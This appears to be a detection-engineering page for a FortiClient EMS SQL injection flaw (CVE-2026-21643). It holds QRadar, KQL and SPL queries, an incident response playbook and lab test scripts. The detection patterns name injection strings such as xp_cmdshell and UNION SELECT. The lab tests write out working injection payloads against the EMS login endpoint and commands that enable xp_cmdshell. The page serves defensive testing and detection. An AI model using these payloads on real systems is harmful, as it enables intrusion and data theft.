CVE-2026-21643 IBM QRadar · QRadar

Detect Fortinet FortiClient EMS SQL Injection Exploitation (CVE-2026-21643) in IBM QRadar

Detects exploitation attempts targeting a SQL injection vulnerability in Fortinet FortiClient EMS (CVE-2026-21643). This KEV-listed vulnerability allows unauthenticated or authenticated attackers to inject malicious SQL statements into FortiClient EMS, potentially enabling data exfiltration, authentication bypass, or remote code execution via database-level commands such as xp_cmdshell.

MITRE ATT&CK

Tactic
Initial Access Credential Access Privilege Escalation

QRadar Detection Query

IBM QRadar (QRadar)
sql
SELECT
  sourceip,
  destinationip,
  destinationport,
  URL,
  username,
  "eventCount" AS attempt_count,
  MIN(starttime) AS first_seen,
  MAX(starttime) AS last_seen,
  logsourcename(logsourceid) AS log_source
FROM events
WHERE
  (
    logsourcetypename(devicetype) ILIKE '%fortinet%'
    OR logsourcetypename(devicetype) ILIKE '%forticlient%'
    OR destinationport IN (443, 8013, 8014)
  )
  AND (
    URL ILIKE '%'' OR %'
    OR URL ILIKE '%UNION SELECT%'
    OR URL ILIKE '%xp_cmdshell%'
    OR URL ILIKE '%WAITFOR DELAY%'
    OR URL ILIKE '%SLEEP(%'
    OR URL ILIKE '%1=1%'
    OR URL ILIKE '%DROP TABLE%'
    OR "utf8(payload)" ILIKE '%xp_cmdshell%'
    OR "utf8(payload)" ILIKE '%UNION SELECT%'
  )
  AND LOGSOURCETIME(devicetime) > NOW() - 1 HOURS
GROUP BY sourceip, destinationip, destinationport, URL, username, logsourceid
ORDER BY attempt_count DESC
LAST 1 HOURS
critical severity medium confidence

QRadar AQL query that searches for SQL injection patterns in traffic destined for FortiClient EMS ports, including payload inspection for xp_cmdshell and UNION SELECT exploitation signatures.

Data Sources

QRadar SIEMFortinet log sourceNetwork flow dataIDS/IPS events

Required Tables

events

False Positives & Tuning

  • Security scanner traffic from authorized vulnerability assessment tools
  • Encoded legitimate API parameters that superficially match SQL injection patterns
  • WAF or IPS devices that log and forward blocked SQL injection attempts as new events
  • Internal application integrations using SQL-like query syntax in API calls

Other platforms for CVE-2026-21643


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1FortiClient EMS SQL Injection - Error-Based Detection

    Expected signal: IIS log entry with 500 status code and SQL injection characters in cs-uri-query field; MSSQL Event ID 8152 or syntax error in ERRORLOG

  2. Test 2FortiClient EMS SQL Injection - UNION SELECT Data Extraction Simulation

    Expected signal: IIS POST log with UNION SELECT in request body (cs-bytes > 0); MSSQL log showing column mismatch error if column count incorrect

  3. Test 3FortiClient EMS SQL Injection - xp_cmdshell RCE Simulation (Endpoint Telemetry)

    Expected signal: Windows Security Event ID 4688 showing cmd.exe or whoami.exe spawned from sqlservr.exe; MSSQL audit log showing xp_cmdshell execution; CrowdStrike ProcessRollup2 event for cmd.exe with parent sqlservr.exe

  4. Test 4FortiClient EMS SQL Injection - Time-Based Blind Injection (WAITFOR DELAY)

    Expected signal: IIS log showing POST request with 5+ second response time (sc-time-taken > 5000); network connection held open for duration of delay; no error response body

Last updated: 2026-06-19 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify the source IP(s) and determine if the traffic originates from internal networks, known scanning infrastructure, or external threat actors. Cross-reference against threat intelligence feeds for known malicious IPs.
  2. Review FortiClient EMS web server logs (typically IIS) for the specific SQL injection payloads, capturing the full request URI, headers, and any response codes. Note whether responses indicate successful injection (200 OK with large bodies vs. 500 errors).
  3. Check the FortiClient EMS SQL Server error logs (MSSQL Event Log, source MSSQLSERVER) for errors such as syntax errors near injection characters, permission errors for xp_cmdshell, or unusual stored procedure execution.
  4. Determine if the FortiClient EMS version is in the affected range by reviewing the installed version from the Windows Registry or EMS management console. Cross-reference with Fortinet's advisory FG-IR-25-1142.
  5. Assess whether the exploitation resulted in data access by reviewing EMS database audit logs for unusual SELECT, INSERT, UPDATE, or EXEC statements executed around the time of the detection.

Containment

  1. Immediately block the source IP(s) at the perimeter firewall and WAF. If a WAF is not in place, deploy a WAF rule specifically blocking the detected SQL injection patterns targeting FortiClient EMS endpoints.
  2. If exploitation appears successful (e.g., xp_cmdshell evidence, anomalous DB queries), isolate the FortiClient EMS server from the network to prevent lateral movement or data exfiltration, then initiate incident response procedures.
  3. Revoke all active FortiClient EMS API tokens and user sessions. Force re-authentication for all EMS-connected endpoints to invalidate any sessions established via authentication bypass.

Evidence Collection

  1. Collect FortiClient EMS IIS logs from the default path (C:\inetpub\logs\LogFiles\) covering at least 72 hours prior to the first alert. Preserve originals with hash verification (SHA-256) before analysis.
  2. Export MSSQL Server logs and audit trails from SQL Server Management Studio or via PowerShell: `Get-EventLog -LogName Application -Source MSSQLSERVER -Newest 500 | Export-Csv C:\evidence\mssql_events.csv`. Include Error Log from SQL Server's log directory.
  3. Capture running processes, open network connections, and scheduled tasks from the EMS host: `Get-Process | Export-Csv`, `netstat -anob`, `schtasks /query /fo LIST /v`. Hash all binaries in the EMS installation directory.
  4. If xp_cmdshell execution is suspected, review Windows Security event logs (Event ID 4688) for process creation events spawned by the SQL Server service account (typically NT SERVICE\MSSQLSERVER).

Escalation Criteria

  • !Escalate immediately to incident response if evidence of xp_cmdshell execution is found, new administrative accounts were created, or outbound connections were established to unknown external IPs from the EMS server or SQL Server process.
  • !Escalate if the FortiClient EMS database contains sensitive endpoint telemetry, compliance data, or credential material that may have been exfiltrated, requiring breach notification assessment under applicable data protection regulations.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >IIS logs at C:\inetpub\logs\LogFiles\ showing injection payloads in URI or POST body
  • >MSSQL error logs at C:\Program Files\Microsoft SQL Server\MSSQL*.MSSQLSERVER\MSSQL\Log\ERRORLOG
  • >Windows Security Event ID 4688 for process creation under SQL Server service account
  • >Windows Security Event ID 4624/4625 for authentication events against EMS
  • >FortiClient EMS application logs at C:\Program Files (x86)\Fortinet\FortiClient EMS\logs\
  • >Network captures showing SQL injection payloads in HTTP request bodies to EMS management interface

Tuning Guidance

Start with high-confidence indicators: xp_cmdshell in any log source, UNION SELECT in EMS web request logs, and MSSQL Event ID 4688 spawning cmd.exe or powershell.exe from the SQL Server service account. Reduce false positives by scoping to known FortiClient EMS hostnames, server IPs, and management interface ports (8013, 8014). Exclude known vulnerability scanner source IPs (Qualys, Tenable, Rapid7 cloud ranges) via allowlist. Consider raising the threshold to 3+ attempts per source IP within 5 minutes to reduce noise from transient scan traffic, while keeping single-attempt alerting for xp_cmdshell signatures which carry near-zero false positive rate.


Hunting Queries

Proactive hunt for SQL injection patterns in IIS logs targeting FortiClient EMS endpoints over the past 7 days, useful for identifying slow/low reconnaissance or failed exploitation attempts preceding a successful attack.

Hunting — KQL
kql
W3CIISLog
| where TimeGenerated > ago(7d)
| where csHost has_any ("ems", "forticlient") or csUriStem has_any ("/EMS/", "/fems/")
| where csUriQuery has_any ("SELECT", "UNION", "xp_cmd", "EXEC", "CAST", "CONVERT") or csUriStem has_any ("SELECT", "UNION", "xp_cmd")
| project TimeGenerated, cIP, csMethod, csUriStem, csUriQuery, scStatus, scBytes, csUserAgent
| order by TimeGenerated desc
Hunting — SPL
spl
index=iis sourcetype=iis (host=*ems* OR host=*forticlient* OR cs_uri_stem=*/EMS/*)
| eval sqli_hit=if(match(cs_uri_query, "(?i)(SELECT|UNION|xp_cmd|EXEC|CAST|CONVERT|SLEEP|WAITFOR)"), 1, 0)
| where sqli_hit=1
| stats count by c_ip, cs_uri_stem, cs_uri_query, sc_status
| sort - count

Hunt for anomalous MSSQL error events on FortiClient EMS servers that may indicate SQL injection activity, authentication failures against the database, or object-not-found errors from malformed injection payloads.

Hunting — KQL
kql
Event
| where TimeGenerated > ago(7d)
| where Source in ("MSSQLSERVER", "MSSQL$EMS")
| where EventID in (18456, 8152, 208, 1205, 17806)
| where Computer has_any ("EMS", "forticlient", "fems")
| project TimeGenerated, Computer, EventID, RenderedDescription
| order by TimeGenerated desc
Hunting — SPL
spl
index=wineventlog sourcetype=wineventlog:application (Source=MSSQLSERVER OR Source=MSSQL$EMS) EventCode IN (18456, 8152, 208, 1205, 17806) (host=*ems* OR host=*forticlient*)
| stats count by host, EventCode, Message
| sort - count

Atomic Red Team Tests

Test 1 FortiClient EMS SQL Injection - Error-Based Detection
windows

Simulates a basic error-based SQL injection probe against the FortiClient EMS management interface to trigger SQL syntax errors visible in MSSQL logs and IIS 500 responses.

Command

powershell
# LAB ONLY - Target must be a test/isolated FortiClient EMS instance
# Replace TARGET_EMS_IP with your lab EMS server IP
$target = "https://TARGET_EMS_IP:8013"
$payload = "' OR 1=1--"
$encodedPayload = [System.Web.HttpUtility]::UrlEncode($payload)
Invoke-WebRequest -Uri "$target/fems/login?username=admin$encodedPayload&password=test" -Method GET -SkipCertificateCheck -UseBasicParsing | Select-Object StatusCode, StatusDescription

Cleanup

powershell
No cleanup required — read-only probe. Review and clear IIS logs and MSSQL error logs on the lab EMS server post-test.

Expected Telemetry

IIS log entry with 500 status code and SQL injection characters in cs-uri-query field; MSSQL Event ID 8152 or syntax error in ERRORLOG

Expected Detection

KQL W3CIISLog query triggers on csUriQuery containing ' OR 1=1; MSSQL Application event with syntax error near apostrophe

Test 2 FortiClient EMS SQL Injection - UNION SELECT Data Extraction Simulation
windows

Simulates a UNION SELECT-based injection attempt to extract database schema information from FortiClient EMS, representing the reconnaissance phase of exploitation.

Command

powershell
# LAB ONLY - Requires isolated FortiClient EMS test environment
# Replace TARGET_EMS_IP with lab EMS server
$target = "https://TARGET_EMS_IP:8013"
$payload = "' UNION SELECT NULL,NULL,NULL,table_name FROM information_schema.tables--"
$encodedPayload = [System.Web.HttpUtility]::UrlEncode($payload)
$headers = @{"Content-Type" = "application/x-www-form-urlencoded"}
$body = "username=admin$encodedPayload&password=test"
Invoke-WebRequest -Uri "$target/fems/login" -Method POST -Body $body -Headers $headers -SkipCertificateCheck -UseBasicParsing | Select-Object StatusCode, Content

Cleanup

powershell
Clear lab EMS IIS logs and MSSQL error logs. No persistent changes expected from read-only UNION SELECT against information_schema.

Expected Telemetry

IIS POST log with UNION SELECT in request body (cs-bytes > 0); MSSQL log showing column mismatch error if column count incorrect

Expected Detection

SPL query matches UNION SELECT pattern in forticlient:ems or iis sourcetype; QRadar AQL matches UNION SELECT in utf8(payload)

Test 3 FortiClient EMS SQL Injection - xp_cmdshell RCE Simulation (Endpoint Telemetry)
windows

Simulates the post-exploitation phase where an attacker uses xp_cmdshell via SQL injection to execute OS commands. This test injects the xp_cmdshell pattern into a controlled MSSQL instance to generate expected telemetry without targeting production EMS.

Command

powershell
# LAB ONLY - Run against isolated MSSQL instance, NOT production
# Ensure xp_cmdshell is disabled on production; enable only in lab
SqlCmd -S localhost\SQLEXPRESS -Q "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
SqlCmd -S localhost\SQLEXPRESS -Q "EXEC xp_cmdshell 'whoami';"
# Expected: output shows SQL Server service account (e.g., NT SERVICE\MSSQL$SQLEXPRESS)

Cleanup

powershell
Disable xp_cmdshell after test: SqlCmd -S localhost\SQLEXPRESS -Q "EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; EXEC sp_configure 'show advanced options', 0; RECONFIGURE;"

Expected Telemetry

Windows Security Event ID 4688 showing cmd.exe or whoami.exe spawned from sqlservr.exe; MSSQL audit log showing xp_cmdshell execution; CrowdStrike ProcessRollup2 event for cmd.exe with parent sqlservr.exe

Expected Detection

CrowdStrike CQL query matches ProcessRollup2 with ImageFileName containing cmd.exe parented by sqlservr.exe; KQL Event table shows EventID 4688 with CommandLine containing whoami from MSSQL service account

Test 4 FortiClient EMS SQL Injection - Time-Based Blind Injection (WAITFOR DELAY)
linux

Simulates time-based blind SQL injection using WAITFOR DELAY against FortiClient EMS to confirm injection point without error output, representing stealthy exploitation patterns.

Command

bash
# LAB ONLY - Replace TARGET_EMS_IP with isolated lab EMS instance
TARGET="https://TARGET_EMS_IP:8013"
PAYLOAD="admin' WAITFOR DELAY '0:0:5'--"
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")
START=$(date +%s)
curl -sk -X POST "$TARGET/fems/login" \
  -d "username=$ENCODED&password=test" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -o /dev/null -w "%{http_code} %{time_total}"
END=$(date +%s)
echo "Elapsed: $((END-START)) seconds (expected ~5 if vulnerable)"

Cleanup

bash
No persistent changes. Clear IIS access logs on lab EMS server. No MSSQL state change from WAITFOR DELAY.

Expected Telemetry

IIS log showing POST request with 5+ second response time (sc-time-taken > 5000); network connection held open for duration of delay; no error response body

Expected Detection

IIS log correlation showing WAITFOR DELAY in POST body with elevated response time; Elastic EQL sequence detecting sustained connection on EMS port

Related Detections